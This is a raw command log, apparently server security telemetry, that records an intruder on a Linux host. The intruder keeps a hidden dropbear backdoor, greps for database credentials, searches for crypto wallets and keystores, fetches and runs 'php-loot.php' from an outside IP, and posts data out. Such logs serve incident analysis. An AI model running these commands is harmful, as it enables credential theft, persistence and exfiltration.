dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F
2026-10-31 01:22:34Not attributedNot attributedsh -> shcat /etc/crontab
2026-10-31 01:22:34Not attributedNot attributedsh -> shls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron
2026-10-31 01:22:34Not attributedNot attributedtimeout -> timeoutsh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/c ; sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/c ; sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/c ; sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/c
2026-10-31 01:22:34Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for
2026-10-31 01:22:34Not attributedNot attributedsh -> shfind /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -size -256k -print
2026-10-31 01:22:34Not attributedNot attributedsh -> shfind /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -printf %s\t%TY-%Tm-%Td\t%p\n
2026-10-31 01:22:39Not attributedNot attributedsh -> shgrep -RInE -I -m 3 mysql://|postgres|DATABASE_URL|DB_HOST|DB_DATABASE|DB_USERNAME|DB_PASSWORD|redis://|mongodb:// /var/www /srv /opt /home /etc
2026-10-31 01:22:39Not attributedNot attributedsh -> shfind /var/lib /var/www /srv /opt /home -xdev -type f ( -name *.sqlite -o -name *.sqlite3 -o -name *.db -o -name *.sql -o -name *.dump -o -name dump.rdb -o -name *.bson ) -size -50M -printf %s\t%p\n
2026-10-31 01:22:39Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -na
2026-10-31 01:22:39Not attributedNot attributedtimeout -> timeoutsh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql"
2026-10-31 01:22:39Not attributedNot attributedsh -> shls -la /etc/supervisor /etc/supervisor/conf.d
2026-10-31 01:22:44Not attributedNot attributedsh -> shfind /root /home /var/www /srv /opt /tmp -xdev -type f ( -name wallet.dat -o -name *.wallet -o -name UTC--* -o -name *.kdbx -o -iname *keystore* -o -iname *mnemonic* -o -iname *seed*.txt -o -name *.key ) -printf %s\t%p\n
2026-10-31 01:22:44Not attributedNot attributedsh -> shls -la /var/lib/mysql /var/lib/postgresql /var/lib/redis /var/lib/mongodb
2026-10-31 01:22:44Not attributedNot attributedtimeout -> timeoutsh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea
2026-10-31 01:22:44Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sor
2026-10-31 01:22:50Not attributedNot attributedsh -> shcurl -sS --max-time 20 -o /tmp/.php-loot.2397.php http://206.245.153.56:8088/tools/php-loot.php
2026-10-31 01:22:55Not attributedNot attributedtimeout -> timeoutsh -c php '/tmp/.php-loot.2397.php' '/tmp/t1/php' ; sh -c php '/tmp/.php-loot.2397.php' '/tmp/t1/php' ; sh -c php '/tmp/.php-loot.2397.php' '/tmp/t1/php' ; sh -c php '/tmp/.php-loot.2397.php' '/tmp/t1/php'
2026-10-31 01:22:55Not attributedNot attributedsh -> shtimeout 120 sh -c php '/tmp/.php-loot.2397.php' '/tmp/t1/php'
2026-10-31 01:22:55Not attributedNot attributedsh -> shphp /tmp/.php-loot.2397.php /tmp/t1/php
2026-10-31 01:23:0123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentbash -> bashtail -4 /var/tmp/.p/db.log
2026-10-31 01:23:0123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentbash -> bashtail -6 /var/tmp/.p/db.log
2026-10-31 01:23:0123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentbash -> bashpgrep -af dropbear -F|dk_key|keep.sh
2026-10-31 01:23:0123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentbash -> bashpgrep -af dropbear -F|dk_key
2026-10-31 01:23:07Not attributedNot attributedsh -> shhostname -I
2026-10-31 01:23:07Not attributedNot attributedsh -> shhostname -I
2026-10-31 01:23:07Not attributedNot attributedsh -> shps -e
2026-10-31 01:23:07Not attributedNot attributedsh -> shrm -f /tmp/.php-loot.2397.php
2026-10-31 01:23:11Not attributedNot attributedsh -> shsed -n s/^ID=//p /etc/os-release
2026-10-31 01:23:11Not attributedNot attributedsh -> shuname -m
2026-10-31 01:23:11Not attributedNot attributedsh -> shsed -n s/^PRETTY_NAME=//p /etc/os-release
2026-10-31 01:23:11Not attributedNot attributedsh -> shsed -n s/^VERSION_ID=//p /etc/os-release
2026-10-31 01:23:11Not attributedNot attributedsh -> shsed -n s/^VERSION_CODENAME=//p /etc/os-release
2026-10-31 01:23:11Not attributedNot attributedsh -> shid -g
2026-10-31 01:23:11Not attributedNot attributedsh -> shid -u
2026-10-31 01:23:11Not attributedNot attributedsh -> shid -Gn
2026-10-31 01:23:11Not attributedNot attributedsh -> shid -un
2026-10-31 01:23:11Not attributedNot attributedsh -> shuname -a
2026-10-31 01:23:11Not attributedNot attributedsh -> shuname -r
2026-10-31 01:23:1123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentdropbear -> dropbearbash -c id; hostname; cat /etc/hostname ; id ; hostname ; cat /etc/hostname
2026-10-31 01:23:15Not attributedNot attributedsh -> shawk /^MemAvailable:/{print $2} /proc/meminfo
2026-10-31 01:23:15Not attributedNot attributedsh -> shawk /^MemFree:/{print $2} /proc/meminfo
2026-10-31 01:23:15Not attributedNot attributedsh -> shawk /^SwapTotal:/{print $2} /proc/meminfo
2026-10-31 01:23:15Not attributedNot attributedsh -> shnproc
2026-10-31 01:23:15Not attributedNot attributedsh -> shawk /^MemTotal:/{print $2} /proc/meminfo
2026-10-31 01:23:15Not attributedNot attributedsh -> shawk -F: /cpu MHz/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo
2026-10-31 01:23:15Not attributedNot attributedsh -> shawk -F: /cache size/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo
2026-10-31 01:23:15Not attributedNot attributedsh -> shawk -F: /model name/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo
2026-10-31 01:23:15Not attributedNot attributedsh -> shgrep -c ^processor /proc/cpuinfo
2026-10-31 01:23:1623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentbash -> bashsh /tmp/collect.sh -i 1425 -n <REDACTED>-20261031 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80
2026-10-31 01:23:19Not attributedNot attributedsh -> shdf -P /
2026-10-31 01:23:19Not attributedNot attributedsh -> shdf -kP /
2026-10-31 01:23:19Not attributedNot attributedsh -> shdf -kP /
2026-10-31 01:23:19Not attributedNot attributedsh -> shawk /^SwapFree:/{print $2} /proc/meminfo
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shegrep -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shlscpu
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shnproc
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shid -un
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shgetent passwd www-data
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shgetconf LONG_BIT
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shid
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcat /etc/os-release
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shuname -r
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shwhoami
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shid
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shuname -m
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shuname -a
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2
2026-10-31 01:23:2123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcat /etc/debian_version /etc/alpine-release /etc/redhat-release
2026-10-31 01:23:24Not attributedNot attributedsh -> shfind /tmp/t1/git -maxdepth 1 -mindepth 1 -type d
2026-10-31 01:23:24Not attributedNot attributedsh -> shps -e --no-headers
2026-10-31 01:23:2623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shlsblk
2026-10-31 01:23:2623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /o
2026-10-31 01:23:2623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shdf -iP
2026-10-31 01:23:2623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm
2026-10-31 01:23:2623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shdf -hP
2026-10-31 01:23:2623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfree -m
2026-10-31 01:23:2623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou
2026-10-31 01:23:2623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shegrep ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo
